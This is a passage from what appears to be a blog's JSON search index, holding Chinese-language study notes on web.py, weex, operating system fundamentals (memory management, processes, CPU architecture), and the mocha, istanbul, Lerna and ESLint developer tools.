可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的\n","permalink":"https://chenjunlinabc.github.io/posts/117/","summary":"web.py是一个轻量级Python web框架，是由已故著名计算机黑客Aaron Swartz设计开发（如果你看过互联网之子这个电影，你应该对这位大佬很熟悉）\n安装web.py\npip install web.py\n导入模块\nimport web\n第一个例子\nimport web urls = ( \u0026quot;/(.*)\u0026quot;,\u0026quot;hallo\u0026quot; ) app = web.application(urls,globals()) class hallo: def GET(self,name): return \u0026quot;\u0026lt;h1\u0026gt;hallo web.py\u0026lt;/h1\u0026gt;\u0026quot; if __name__==\u0026quot;__main__\u0026quot;: app.run() 可以看到页面内容是return返回的，也可以open读取html文件，来返回回去，都是可以的","title":"Web.py学习笔记"},{"content":"weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具\n支持ES6，跨平台，体积小，性能优异，编写规范\n官网：http://emas.weex.io/zh/\nweex调试工具：weexplayground（可以用来测试，要同局域网下）\n安装\nnpm install -g weex-toolkit\n检查weex\nweex -v\n初始化项目\nweex init demo\nnpm install\n或者\nweex create demo\n运行\nnpm run dev\nnpm run server\n编译js bundle\nweex compile 目录或者文件 打包文件存放的目录或者文件\n压缩编译\nweex compile 目录或者文件 打包文件存放的目录或者文件 -m\n注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750\n不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形\n运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理\n","permalink":"https://chenjunlinabc.github.io/posts/116/","summary":"weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具\n支持ES6，跨平台，体积小，性能优异，编写规范\n官网：http://emas.weex.io/zh/\nweex调试工具：weexplayground（可以用来测试，要同局域网下）\n安装\nnpm install -g weex-toolkit\n检查weex\nweex -v\n初始化项目\nweex init demo\nnpm install\n或者\nweex create demo\n运行\nnpm run dev\nnpm run server\n编译js bundle\nweex compile 目录或者文件 打包文件存放的目录或者文件\n压缩编译\nweex compile 目录或者文件 打包文件存放的目录或者文件 -m\n注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750\n不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形\n运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理","title":"weex跨平台框架学习笔记"},{"content":"操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统\n常见操作系统有Windows，Linux，Android\n操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互\n操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等\n操作系统的架构的层次是在硬件之上，应用之下\nOS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步\n微内核：尽可能将内核功能移植到用户空间，缺点就是性能低\n外核和内核：一个负责硬件，一个负责软件\nDISK（硬盘存储）：存储OS\nBIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)\nBootLoader：加载OS\nPOST（加电自检，查找显卡和执行BIOS）\n系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）\n异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）\n中断：来源于外设对于硬件设备和网络中断（异步）\n逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）\n物理地址空间：硬件支持的地址空间\n逻辑地址空间：应用程序拥有的内存范围\n操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系\n应用逻辑地址映射到物理地址\nCPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求\n内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）\n虚拟地址和物理地址的映射关系管理\n内存分段（内存被看成一组不同长度的段）\n内存分段下的虚拟地址分为段选择⼦和段内偏移量\n段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等\n而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址\n分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序\n内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）\n内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面\n内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址\n内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）\n段⻚式内存管理（内存分段和内存分页的结合体）\n先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成\n连续性内存管理（内存碎片和分区的动态分配）\n外部碎片：在分配单元间的未使用内存\n内部碎片：在分配单元中的未使用内存\n当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据\n动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它\n动态分配的缺点就是外部碎片严重\n非连续内存分配\n分段Segmentation：\n逻辑地址空间连续，物理地址离散\n一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组\n虚拟内存：\n早期内存不够应用消耗，应用的规模比存储器的容器大\n当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中\n当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中\n进程和线程：\n进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)\n进程包含正在运行的应用的全部状态信息\n进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源\n进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息\n进程是操作系统最小可调度的资源单位\n多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）\n进程状态有3种，分别是运行，阻塞以及就绪\n运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用\n运行可切换到阻塞状态\n阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态\n进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了\n进程发生阻塞时，该进程将放弃CPU使用权，CPU会执行下一个就绪状态的进程\n中断和中断向量\n当程序发生中断（CPU暂时中断当前正在运行的程序），CPU转去处理其他的程序（也可能是处理内存的数据），当CPU处理完毕，CPU可恢复到之前被暂时中断当前正在运行的程序的状态，这个过程叫中断\n中断向量就是中断程序的入口地址\n中断发生时，该进程会第一时间保存被中断程序的状态，会将相关数据保存到寄存器，当CPU通过中断向量，跳转到处理中断程序中去，并且执行中断程序，然后决定下一个执行哪个程序，如果这个程序正好是之前被中断的，会从寄存器中读取相关数据。恢复到之前中断的执行状态\n任何进程都需要排队等待\n进程中断和进程阻塞的区别：中断是由于一些优先级比较高的需要CPU处理而被迫中断执行，而阻塞是因为进程需要一些依赖，但是依赖没有就位，需要等待就位，该进程就会进入到阻塞队列中，当依赖就位，就恢复到就绪状态，等待进程调度系统分配CPU执行权\n进程（Process）是计算机中的程序关于某数据集合上的一次运行活动，是系统进行资源的分配和调度的基本单位，每个进程都拥有一个自己的地址空间，进程至少有5种基本状态，分别是：初始状态，执行状态，等待状态，就绪状态，终止状态\n线程（Thread）是进程的执行实例，是程序执行的最小单位，是操作系统能够进行运算调度的最小单位，一个进程可以创建多个线程，同一个进程的线程共享进程的内存信息，同一个进程的多个可以并发执行，一个线程要执行，必须至少有一个进程\n并发和并行的区别\n并发：指一个时间段中有多个线程（程序）被快速的轮换执行（处于启动运行到运行完毕之间），在一个时间段中只有一个线程（程序）在执行，在宏观上感觉是多个线程同时被处理，如果多线程操作在一个cpu上，操作系统将cpu运行时间分隔为若干个时间段，将时间段分配给各个线程执行，在一个时间段的线程执行时，其他线程将处于挂起状态，这就叫并发\n并行：当系统拥有多个cpu（1个以上）时，一个cpu执行一个线程，另一个线程执行另一个线程，同时进行处理，这就叫并行\n并发和并行的区别：并发一个时间段只能执行一个线程（多个线程需要排队执行），并行可以在一个时间段中同时执行多个线程\n当多线程程序在单核CPU上执行时，就是并发，在多核CPU执行时，就是并行，当线程数大于CPU核数，那么既有并行又有并发\n进程调度的性能消耗太大，因为进程调度会导致进程中断，不但需要将数据保存在寄存器中，恢复进程还需要从寄存器中读取数据，而调度线程的性能消耗就很小，线程是进程的执行单元，一个进程中最少存在一个线程\n进程的竞争和临界区\n临界区：指的是共享内存中的程序片段\n当两个进程同时访问了临界区，而临界区中的数据正好不能被同时访问，例如进程A读取了临界区中的某个内存，并且修改了这个内存，但是进程B正好在读取该临界区的这个内存，导致读取的数据是错的，而解决这个问题的最简单方法就是互斥，当一个进程在该临界区中时，其他进程不能进入，需要排队等待，而且不能过于长时间的占用临界区，临界区外的进程不影响到临界区内的进程\n死锁：当多个进程因为竞争资源或者进程通信而导致的阻塞现象，进程在互相等待，无法进行下一步操作\n严格轮换法，Peterson算法\n严格轮换法简单来说就是声明一个状态，某个进程进入临界区时，状态为1，出来的时候状态为0，当其他进程看到状态为1时，等待该进程出来，看到状态为0时，进入临界区\nPeterson算法是严格轮换法的优化版，实现了互斥的同时又避免的死锁\nPeterson算法的思路是声明2个状态（一个是正在使用临界区的状态，另一个是想进入临界区的状态），当一个进程想进入临界区时，会检查一下其他进程是否想进入临界区，如果存在其他进程想进入临界区，则等待\nFHS规范（3.0），全称Filesystem Hierarchy Standard，中文翻译为文件系统层次结构标准，用于定义根目录以及一级子目录的规范，大多数Linux版本使用该标准来定义文件系统（并不一定完全符合规范，只是大概上符合）\nFHS规范定义了系统各个目录应该要放什么文件数据，以及所需要的文件和目录\n例如：规范某一些文件或者目录可以分享或者不可以分享给给其他人使用\nFHS规范了根目录(/)，以及根目录的子目录etc（配置文件），bin（必要软件或者命令），usr（二级目录），home（当前用户的家目录），var（动态数据）\nLinux文件系统\u0026mdash;VFS（虚拟文件系统）（Linux下一切都是文件）\nVFS不需要考虑不同文件系统和存储介质的差异，因为其内核抽象出了通用的文件系统接口，只要符合接口标准，一些文件或者比较特殊的文件系统都是可以兼容\nVFS抽象对象，超级块：文件系统，目录项：文件的路径，索引节点：具体文件（操作文件的具体信息），文件：进程打开的文件。都有自己的接口来操作\nXFS（高性能64位日志文件系统），带有日志功能防丢数据，原生提供备份工具（xfsdump/sfsrestore）\n图灵机和冯诺依曼模型\n图灵机实质就是机器模拟人类在纸上进行数学运算，先将数值写到一个纸带的小方格中，再通过读写头来读取小方格里面的信息\n这个读写头具备存储，运算，控制功能。存储读取的数据以及运算出来的数据，可执行运算指令，可识别数据是运算指令（例如加号，减号等等运算符号）还是数字\n冯诺依曼模型（约定使用二进制来存储和计算数据，并且定义计算机基本结构，CPU，内存，输入设备，输出设备，总线，具备这5个部分的计算机就是冯诺依曼模型）\nCPU：中央处理器，64位处理器（64位指的CPU的位宽，位宽决定了处理器一次可以计算处理多少字节的数据，64位处理器可以一次计算8个字节）\nCPU内部还有寄存器（存储CPU计算时的数据），运算单元（负责计算），控制单元（控制CPU工作）\n常见的寄存器有：通用寄存器（存储需要进行计算的数据），程序计数器（存储CPU要执行下一个指令的内存地址），指令寄存器（存储程序计数器指向的指令）\n总线（CPU和其他设备之间的通信，总线被分为3种，地址总线（传送外部存储器（内存）的地址），控制总线（用来传输和接收控制信号），数据总线（传送内存的数据信息，数据总线又分单向传输，双向传输））\n输入输出设备（输入设备通过控制总线和CPU通信，CPU处理后，将数据输出给输出设备）\n线路传输：通过电压来传输数据，低电压表示0，高电压表示1，一条线路可传输1bit的数据（二进制，0或1）\n32位处理器的最大寻址空间为2的32次方（4294967296，大概4GB左右），所以32位CPU（或者操作系统）只能操作4G内存（而64位理论上寻址范围高达2的64次方）\nCPU执行过程：CPU读取程序计数器的值（指令内存地址），控制单元通过地址总线访问到内存，并且通过数据总线获取数据给CPU，CPU接收到数据，将该数据存储在指令寄存器，CPU处理指令寄存器的数据，确定数据的类型，如果是计算类，就交给运算单元处理，如果是存储类，就交给控制单元处理，CPU处理完毕后，程序计数器的值自增（用来表示下一条指令，自增取决于CPU的位宽，如果是64位处理器就是自增8（因为64位一次性处理8个字节数据，一个字节数据需要一个地址来存放））\nCPU会不断执行该过程，直到结束（这个过程叫CPU的指令周期）\nCPU的执行速度取决于指令的执行速度，而指令的执行速度取决于CPU的时钟频率（Ghz），例如我电脑的CPU是 2.10 GHz的，这个 2.10 GHz指的是1秒内可以产生2.1G次数的脉冲信号，而每一次脉冲信号的高低电平的转换就是时钟周期（振荡周期）\n时钟频率越高，时钟周期越低，CPU的处理速度越快\n存储器\n内存断电，数据会丢失，而硬盘不会，因为硬盘是持久化存储，而且CPU内部也有存储器（只不过其能存储的数据很小）\n寄存器处理速度最快，再到CPU Cache（中⽂称为CPU缓存，一般分为L1,L2,L3这样的缓存层，比如我电脑的r5 3550h的一级缓存为384KB，二级缓存为2MB，三级缓存为4MB，二级缓存是一级缓存的缓冲器，三级缓存是二级缓存的缓冲器）\n然后再到内存，最后是硬盘\n一个主频为2.1Ghz的CPU，表示其1秒内完成2.1x10的9次方个时钟周期\nCPU Cachee使用了⼀种叫 静态随机存取存储器（Static Random-Access Memory，SRAM）的存储器，一旦断电就会丢失数据\n每个CPU核心都有属于自己的L1缓存和L2缓存，而L3缓存一般是多核心共享的\n内存使用的是一种叫动态随机存取存储器（Dynamic Random Access Memory，DRAM）的存储器\nSRAM存储1bit的数据，一般情况需要6个晶体管，而DRAM只需要一个晶体管和一个电容\n硬盘就是固体硬盘（分为HDD硬盘（Hard Disk Drive）和SSD硬盘(Solid-state disk)），HDD硬盘结构和内存相似，但是和内存，缓存之类的不同的是其断电，数据不会丢失\nCPU Cachee的数据是从内存中获取的，通过Cache Line（缓存块）来一块一块获取，L1缓存一般分为数据缓存和指令缓存\n补码：将正数的二进制全部取反再加1，补码被用于处理负数\n十进制小数转二进制用的是乘2取整法（将小数部分乘以2，作为二进制的一位，一直到不存在小数，整数还是用除2法，再合并就是小数的二进制结果）\n不是所有小数都可以乘2取整的，例如0.1就不能取整，无法使用二进制精确表示0.1，只能使用近似值来表示，这将导致精度缺失的情况发生\n操作系统内核：连接硬件设备的桥梁，应用只需要和内核交互，无需关注硬件，内核已提供访问硬件的接口\n现代操作系统内核支持进程调度，内存管理，硬件通信，提供系统接口等功能\n内核权限很高，并且将内存分称2个部分，分别是内核空间（只有内核程序可访问），用户空间（专门提供给应用使用）\n当程序在使用用户空间时，那么该程序在用户态执行，如果在使用内核空间，那么该程序在内核态执行\n内核一般分为三种，宏内核（Linux为代表，整个内核是一个完整的程序），微内核（具备一个小内核，一些服务或者模块由用户态来管理）以及混合内核（宏内核和微内核的结合体，windows为代表）\n计算机的输入，输出，状态转换函数F\n状态描述：一切可使用数字描述\n输入：晶振（时间输入，CPU周期，时钟驱动CPU工作），外界输入设备\n输出：打印机，显示器\n机械计算机：差分机（巴贝奇，多项式求值）\n图灵机\n冯 诺依曼模型\nCPU的工作原理（内存，寄存器，ALU（算数逻辑单元））\n数据空间地址和指令空间地址\n指令\n通过指令来控制计算机工作，CPU被时钟驱动，并且不断读取指针指向的指令，从内存读取指令然后执行指令\n不同的cpu架构使用不同的指令集，常见的指令集有RISC（Reduced Instruction Set Computing，精简指令集），CISC（Complex Instruction Set Computing，复杂指令集）\nRISC中代表的有arm指令集，CISC中代表的有x86指令集\nRISC的特点就是CPU单元电路少，面积小，功耗低（只进行二进制处理器指令）\nCISC的特定就是CPU单元电路多，面积大，功耗大（进行复杂指令）\n寻址模式，浮点数，指令分类\n寻址模式（指令集的一部分，表示指令有哪些操作符，地址应该怎么计算）\n寄存器寻址，立即寻址，偏移量寻址（基地址，偏移量），PC相对寻址\n内存读写（load/store指令），加减乘除（add，sub，div，mult）。\n操作系统的并发性（2个事件及2个以上事件在一段时间内发生，就叫并发，并发是单核CPU的知识点），共享性（操作系统的资源可以提供给多个并发程序使用，互斥共享，同时访问（一段时间内并发访问资源）），虚拟性（将物理设备虚拟成多个逻辑实体，虚拟技术有时分复用（分时使用硬件资源，例如虚拟处理器技术，就是将多个程序分时复用处理器资源，虚拟设备技术，就是将物理设备虚拟成多个逻辑设备，一个程序使用一个逻辑设备，通过逻辑设备来并发访问真实的物理设备），空分复用技术（虚拟磁盘技术（将物理磁盘虚拟成多个逻辑盘），虚拟内存技术（可使用比实际内存更大的内存空间））），异步性（允许多进程并发执行）\n","permalink":"https://chenjunlinabc.github.io/posts/115/","summary":"操作系统是管理计算机硬件和软件资源，并且提供用户交互的软件系统\n常见操作系统有Windows，Linux，Android\n操作系统具备管理计算机资源的功能，具备抽象计算机资源的能力，能和用户进行交互\n操作系统实质上是一个很复杂的控制软件，可以管理应用，资源管理，管理外设等等\n操作系统的架构的层次是在硬件之上，应用之下\nOS Kernel：可并发（同时存在多个运行的应用）。可共享，可虚拟，可异步\n微内核：尽可能将内核功能移植到用户空间，缺点就是性能低\n外核和内核：一个负责硬件，一个负责软件\nDISK（硬盘存储）：存储OS\nBIOS：基本I/O处理系统（加载外设以及加载软件来运行OS） （basic I/O system)\nBootLoader：加载OS\nPOST（加电自检，查找显卡和执行BIOS）\n系统调度：来源于“合法”的应用向系统发出服务请求的（同步或者异布）\n异常：来源于“不良”的应用非法指令（或者应用意想不到的请求，应用无法获得资源需求）（同步）\n中断：来源于外设对于硬件设备和网络中断（异步）\n逻辑化地址空间，独立地址空间，可访问相同内存，更多内存空间（虚拟化）\n物理地址空间：硬件支持的地址空间\n逻辑地址空间：应用程序拥有的内存范围\n操作系统为了运行多个程序，进行了内存地址的隔离（分配独立的虚拟内存地址），虚拟内存地址和物理内存地址是映射关系\n应用逻辑地址映射到物理地址\nCPU需要逻辑地址上的内存内容（ALU），内存管理单元（MMU）寻找逻辑地址和物理地址之间的映射，控制器将从总线发送物理地址的内存内容的请求\n内存发送物理地址内存内容给CPU（告诉CPU，物理地址找到了），建立逻辑地址和物理地址之间的映射（确保应用互不干扰）\n虚拟地址和物理地址的映射关系管理\n内存分段（内存被看成一组不同长度的段）\n内存分段下的虚拟地址分为段选择⼦和段内偏移量\n段选择⼦保存在段寄存器中，段选择⼦其中的段号被用于段表的索引，段表中保存的是这个段的基地址和段界限等等\n而段内偏移量是位于0和段界限之间的，如果段内偏移量合法，那么段内偏移量加段的基地址得到物理内存地址\n分段的内存碎片问题，如果某个程序占用了128mb内存，然后该程序被关闭了，释放128mb内存，如果这个128mb内存不是连续的，而是被分段了，这将导致没有内存空间打开另一个内存占用128mb的程序\n内存分页（将物理内存和虚拟内存切成一段段固定大小的内存空间）\n内存分页解决了内存分段的内存碎片问题，其释放内存是以页为单位释放的，当内存空间不够，会释放其他正在运行的进程的没使用的内存页面\n内存分页下的虚拟地址被分为页号和页内偏移，页好为页表的索引，页表保存着物理页的所在物理内存的基地址，基地址和页内偏移组成物理内存地址\n内存分页的缺点就是在运行多线程时，页表会非常大，所以出现了多级⻚表（将页表分成一级一级的）\n段⻚式内存管理（内存分段和内存分页的结合体）\n先将内存分为多个段，再将每个端分为多个页，地址通过段号，段内⻚号和⻚内位移组成\n连续性内存管理（内存碎片和分区的动态分配）\n外部碎片：在分配单元间的未使用内存\n内部碎片：在分配单元中的未使用内存\n当一个应用被批准运行在内存中时，分配一个连续的区间，来给运行的应用访问数据\n动态分配的策略：当想分配某字节，先从低地址找，找到第一个被某字节大的空闲块，就使用它\n动态分配的缺点就是外部碎片严重\n非连续内存分配\n分段Segmentation：\n逻辑地址空间连续，物理地址离散\n一个段表示一个内存块，一个逻辑地址空间，应用访问内存地址的时候，需要个二维的二元组\n虚拟内存：\n早期内存不够应用消耗，应用的规模比存储器的容器大\n当应用太大，超出内存，可采用手动的覆盖(overlay) 技术，只把需要的指令和数据保存在内存中\n当应用太多，超出内存，可采用自动的交换(swapping) 技术，把暂时不能执行的程序送到外存（磁盘）中\n进程和线程：\n进程状态(state)，线程(thread)，进程间通信(inter-process communication)，进程互斥与同步，死锁(deadlock)\n进程包含正在运行的应用的全部状态信息\n进程可动态化创建，结束进程，可以被独立调度并占用处理，不同的进程互不影响，可访问共享数据或者资源\n进程控制块(process control block, PCB)：进程的数据结构，操作系统管理控制进程运行所用的信息集合，操作系统为每一个进程都维护了一个PCB，用来存储保存和该进程有关的状态信息\n进程是操作系统最小可调度的资源单位\n多个程序运行在单核心CPU服务器上，实质就是在共享时间片（时间片，操作系统将某个程序分配到某段CPU时间上，单核是无法同时运行多个程序的，只能共享时间片，而进程就是因此而生）\n进程状态有3种，分别是运行，阻塞以及就绪\n运行和就绪可互相转换，运行状态就是CPU指令在读取运行进程中的程序段，而就绪就是该进程在等待调用\n运行可切换到阻塞状态\n阻塞就是进程在等待信号（依赖的资源没有就位），阻塞状态结束后会切换到就绪状态\n进程状态的切换可理解为接力赛跑，运行状态就是正在跑的运动员，而就绪状态就是在等待接力棒的运动员，而阻塞状态就是运动员需要补充休息，暂时不跑了","title":"操作系统学习笔记"},{"content":"mocha是JavaScript测试框架\n安装\nnpm install \u0026ndash;global mocha\n测试，例如：\ndemo.js\nfunction abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js\nconst demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）\nmocha demo.test.js\n其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误\n因为mocha本身没有断言库，需要导入 const expect = require(\u0026lsquo;chai\u0026rsquo;).expect\n查看内置的全部报告格式（默认是spec）\nmocha \u0026ndash;reporters\n使用Dot格式显示\nmocha \u0026ndash;reporter dot\n使用HTML报告\nnpm install \u0026ndash;save-dev mochawesome\nmocha其他参数\n\u0026ndash;watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha\n搜索测试实例（通过名称）\nmocha \u0026ndash;grep \u0026ldquo;test\u0026rdquo;\n\u0026ndash;invert ：只执行不符合条件的测试脚本，要搭配\u0026ndash;grep使用\n如果要测试ES6，需要转码\nnpm install babel-core babel-preset-es2015 \u0026ndash;save-dev\n.babelrc\n{ \u0026quot;presets\u0026quot;: [ \u0026quot;es2015\u0026quot; ] } mocha \u0026ndash;compilers js:babel-core/register\n注意：mocha默认每个测试实例只能最多执行2000毫秒，如果在这个时间里没处理完毕将报错\n需要指定超时时间（-t或\u0026ndash;timeout参数），例如：\nmocha -t 6000 demo.test.js\n也可以设置-s或-slow参数来指定超过一定时间的部分高亮显示\nmocha -t 6000 -s 3000 demo.test.js\n生成指定格式的测试文件\nmocha \u0026ndash;recursive -R markdown \u0026gt; demo.md\nmocha \u0026ndash;recursive -R doc \u0026gt; demo.html\n","permalink":"https://chenjunlinabc.github.io/posts/114/","summary":"mocha是JavaScript测试框架\n安装\nnpm install \u0026ndash;global mocha\n测试，例如：\ndemo.js\nfunction abc(a,b,c){ return a+b+c } module.exports = abc demo.test.js\nconst demo = require('./demo.js') const expect = require('chai').expect describe('test', function() { it('错误', function() { expect(demo(1,3,7)).to.be.equal(11) }) }) 测试（允许测试多个，默认执行test子目录的测试文件，如果test子目录存在该文件，可以不用加参数）\nmocha demo.test.js\n其中expect(demo(1,3,7)).to.be.equal(11)是断言，当1+3+7的结果不是11的时候，抛出错误\n因为mocha本身没有断言库，需要导入 const expect = require(\u0026lsquo;chai\u0026rsquo;).expect\n查看内置的全部报告格式（默认是spec）\nmocha \u0026ndash;reporters\n使用Dot格式显示\nmocha \u0026ndash;reporter dot\n使用HTML报告\nnpm install \u0026ndash;save-dev mochawesome\nmocha其他参数\n\u0026ndash;watch：监听指定测试脚本，只要测试脚本发生改变就自动执行mocha\n搜索测试实例（通过名称）\nmocha \u0026ndash;grep \u0026ldquo;test\u0026rdquo;\n\u0026ndash;invert ：只执行不符合条件的测试脚本，要搭配\u0026ndash;grep使用\n如果要测试ES6，需要转码\nnpm install babel-core babel-preset-es2015 \u0026ndash;save-dev\n.babelrc","title":"简单使用mocha测试框架"},{"content":"代码覆盖率：是否所有代码都被执行或者调用\n每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用\nistanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）\n安装\nnpm install -g istanbul\n测试覆盖率\nistanbul cover demo.js\n检查程序覆盖率是否达到某个值\nistanbul check-coverage \u0026ndash;statement 60 \u0026ndash;branch -5 \u0026ndash;function 100\n在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹\n在coverage/lcov-report/index.html，可以查看网页版结果\n","permalink":"https://chenjunlinabc.github.io/posts/113/","summary":"代码覆盖率：是否所有代码都被执行或者调用\n每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用\nistanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）\n安装\nnpm install -g istanbul\n测试覆盖率\nistanbul cover demo.js\n检查程序覆盖率是否达到某个值\nistanbul check-coverage \u0026ndash;statement 60 \u0026ndash;branch -5 \u0026ndash;function 100\n在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹\n在coverage/lcov-report/index.html，可以查看网页版结果","title":"简单使用istanbul代码覆盖率工具"},{"content":"Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包\n安装Lerna\nnpm install \u0026ndash;global lerna\n新建git仓库（初始化）\ngit init lerna-demo\n初始化Lerna仓库\nlerna init\n创建新包\nlerna create demoPackage\n显示全部已经安装的包\nlerna list\n依赖处理（通过软链接方式将多个package关联起来）\nlerna bootstrap\n添加包到外层的node_modules\nlerna add axios\n移除所有packages下的node_modules（不会移除根目录的）\nlerna clean\n发布package（不会发布标记为private的包）\nlerna publish\n查看上一次有修改的包的差异\nlerna diff\n注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件\nlerna有两个管理模式，分别是固定模式（默认模式）和独立模式\n固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号\n独立模式：init的时候使用\u0026ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号\n","permalink":"https://chenjunlinabc.github.io/posts/112/","summary":"Lerna是一个基于git和npm来管理多个包工作流的工具（monorepo），解决多个包之间的依赖问题，像React，Vue，Babel都在使用lerna管理多包\n安装Lerna\nnpm install \u0026ndash;global lerna\n新建git仓库（初始化）\ngit init lerna-demo\n初始化Lerna仓库\nlerna init\n创建新包\nlerna create demoPackage\n显示全部已经安装的包\nlerna list\n依赖处理（通过软链接方式将多个package关联起来）\nlerna bootstrap\n添加包到外层的node_modules\nlerna add axios\n移除所有packages下的node_modules（不会移除根目录的）\nlerna clean\n发布package（不会发布标记为private的包）\nlerna publish\n查看上一次有修改的包的差异\nlerna diff\n注意：全部子包会放在packages/目录下，lerna.json就是lerna的配置文件\nlerna有两个管理模式，分别是固定模式（默认模式）和独立模式\n固定模式将全部包版本绑定在一起，如果只更新一个包，将会更新对应包的版本到新的版本号\n独立模式：init的时候使用\u0026ndash;independent参数，独立模式允许对每个库单独改变版本号，每次发布的时候只需要为每个改动的库指定版本号","title":"简单使用Lerna多包管理工具"},{"content":"ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）\n安装ESlint\nnpm install eslint \u0026ndash;save-dev\n或者全局安装\nnpm install eslint \u0026ndash;global\n修改scripts属性（package.json）\u0026ndash;fix参数是ESlint提供的自动修复基础错误功能（不能修复逻辑性错误），如果不要也可以\n\u0026ldquo;lint\u0026rdquo;: \u0026ldquo;eslint src \u0026ndash;fix\u0026rdquo;, \u0026ldquo;lint:create\u0026rdquo;: \u0026ldquo;eslint \u0026ndash;init\u0026rdquo;\n创建.eslintrc\nnpm run lint:create\n会显示显示要求，例如是否校验ES6语法，首行空白是Tab键还是Space等等\n校验程序（根据上面的修改，会检查src目录下的所有.js文件）\nnpm run lint\n.eslintrc文件是ESlint校验配置文件，这个配置文件可以自己设置（或者手写手动修改），也可以复制别人的\n\u0026ldquo;off\u0026rdquo; or 0 ：关闭规则\n\u0026ldquo;warn\u0026rdquo; or 1 ：将规则视为一个警告\n\u0026ldquo;error\u0026rdquo; or 2 ：将规则视为一个错误\n可以设置规范，只能使用单引号，tab缩进等等编写规范\n","permalink":"https://chenjunlinabc.github.io/posts/111/","summary":"ESlint是用来校验JavaScript代码风格格式的工具，目的是确保每个人的代码风格统一，按照统一的规范编写（规范化、标准化是前端工程化的特点）\n安装ESlint\nnpm install eslint \u0026ndash;save-dev\n或者全局安装\nnpm install eslint 